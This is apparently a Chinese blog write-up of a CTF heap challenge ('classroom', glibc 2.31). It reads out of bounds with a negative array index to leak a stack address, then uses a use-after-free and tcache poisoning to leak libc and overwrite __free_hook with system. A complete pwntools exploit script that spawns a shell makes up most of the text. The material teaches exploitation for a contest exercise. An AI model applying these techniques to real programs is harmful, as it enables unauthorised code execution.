• 堆技巧 数组反向越界泄露地址


    四川省2021信息安全技术大赛 classroom

    痛苦痛苦痛苦,调了半天才找到数组起始地址,还是自己太菜了,好好记录一下这题
    在这里插入图片描述
    在这里插入图片描述
    题目给了libc,2.31的题
    嗯,可以考虑覆盖got表或者hook函数
    打开ida发现是c++的题,认真分析一下

    free函数

    在这里插入图片描述

    存在UAF

    add函数与show函数

    在这里插入图片描述
    index是int型数据,有符号整型,可以为负数,程序会在申请完chunk后将chunk内容输出出来,如果我们输入index处本来有内容,那么他会不让我们输入内容,直接将chunk的内容输出来,这里我们就想到利用数组越界来泄露某些地址了。
    add函数只允许申请0x20大小的chunk,且输入的chunk内容最多为8字节

    add函数
    show函数,chunk内容位于第二个参数,rsi传参

    思路

    1.利用gdb调试找到chunk数组起始地址,输入负数泄露栈地址
    2.利用UAF获得libc地址
    3.利用UAF覆盖__free_hook为system函数
    4.释放内容为/bin/sh的chunk获得shell
    
    • 1
    • 2
    • 3
    • 4

    过程

    先把前面的写好

    # coding=utf-8
    from pwn import *
    context.log_level='debug'
    s       = lambda data               :p.send(data)
    sa      = lambda delim,data         :p.sendafter(delim, data)
    sl      = lambda data               :p.sendline(data)
    sla     = lambda delim,data         :p.sendlineafter(delim, data)
    r       = lambda num=4096           :p.recv(num)
    ru      = lambda delims		    :p.recvuntil(delims)
    itr     = lambda                    :p.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
    #p=remote('',)
    p=process('./classroom')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def dbg(cmd=''):
    	gdb.attach(p,cmd)
    	 
    
    def add(idx, content = 'a\n'):
    
    	sla('>', str(1))
    
    	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
    
    	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)
    
    def free(idx):
    
    	sla('>', str(2))
    
    	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
    
    def edit(idx, content):
    
    	sla('>', str(3))
    
    	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))
    
    	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    在这里插入图片描述
    show函数在0x1957处,在下断点调试

    # coding=utf-8
    from pwn import *
    context.log_level='debug'
    def dbg(cmd=''):
    	gdb.attach(p,cmd)
    p=process('./classroom')
    dbg('b * $rebase(0x1957)')
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    我们申请三个chunk,内容依次为eee,qwe,zxczx,依次为chunk0,1,2,每当执行到show函数的时候,我们发现chunk0,1,2依次存在返回地址的下面,说明数组起始地址(也就是a1的地址就是返回地址的下一位(0x7ffe916dca58)),那么我们可以输入 -4来获取0x7ffe916dcac0这个地址

    sla('>', str(1))
    sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0xfffffffc)) #-4  4294967292 
     
    ru('Welcome my student :')
    
     
    stack = u64(r(6).ljust(8, '\x00')) 
    lg('stack',stack)
     
    libc_ret = stack+0x8
    lg('libc_ret',libc_ret)
    #libc_ret
     
    
    dbg('b * $rebase(0x1957)')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    泄露的栈地址0x7ffe916dcac0+0x8就是存放__libc_start_main+243的地址,我们可以利用uaf修改chunk的fd指针使chunk申请到__libc_start_main+243处,获得libc,由于我们不能破坏栈结构,我们可以找个没有有用数据的地址stack-0x70处,然后将存放__libc_start_main+243的地址放到stack-0x70处,之后show函数输出__libc_start_main+243地址,获得libc基地址。

    add(0)
    add(1)
    add(2)
    add(5)
    add(6)
    add(7, '/bin/sh') #存放/bin/sh,一会将free_hook改为system时使用
    free(0)             
    free(1)
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    edit(1, p64(stack-0x70))    #修改tcache bin chunk1指向stack-0x70处
    dbg()
    
    • 1
    • 2

    在这里插入图片描述

    add(3)
    dbg()
    
    • 1
    • 2

    在这里插入图片描述
    再次申请chunk,会把chunk申请到stack-0x70处,将存放__libc_start_main+243的地址写入

    add(4, p64(libc_ret)) #将chunk申请到stack-0x70处
    
    sla('>', str(1))
    sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0)) 
    p.recvuntil('Welcome my student :')
    libc.address = u64(r(6).ljust(8, '\0'))-libc.sym['__libc_start_main']-243
    lg('libc.address ',libc.address )
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    之后利用相同的方法将free_hook改为system函数

    free(5)
    
    free(6)
    
    edit(6, p64(libc.sym['__free_hook']))
    
    add(8)
    
    add(9, p64(libc.sym['system']))
    
    free(7)
    
    
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    获得shell

    在这里插入图片描述

  • 相关阅读:
    Java-Quartz实现定时任务(SpringBoot整合quartz)
    架构描述语言(ADL)
    kvm链接克隆虚拟机迁移到openstack机器的实验
    synchronized的优化机制和一些多线程的常见类
    基于QT Creator 5.14的仿QQ聊天系统【UDP通讯】
    x11截屏源码(ubuntu18.04)
    willchange 优化性能的原理是什么
    Java注解(Java高级)
    拓扑排序求最长路
    自适应网站设计特点有哪些?
  • 原文地址:https://blog.csdn.net/tbsqigongzi/article/details/126657002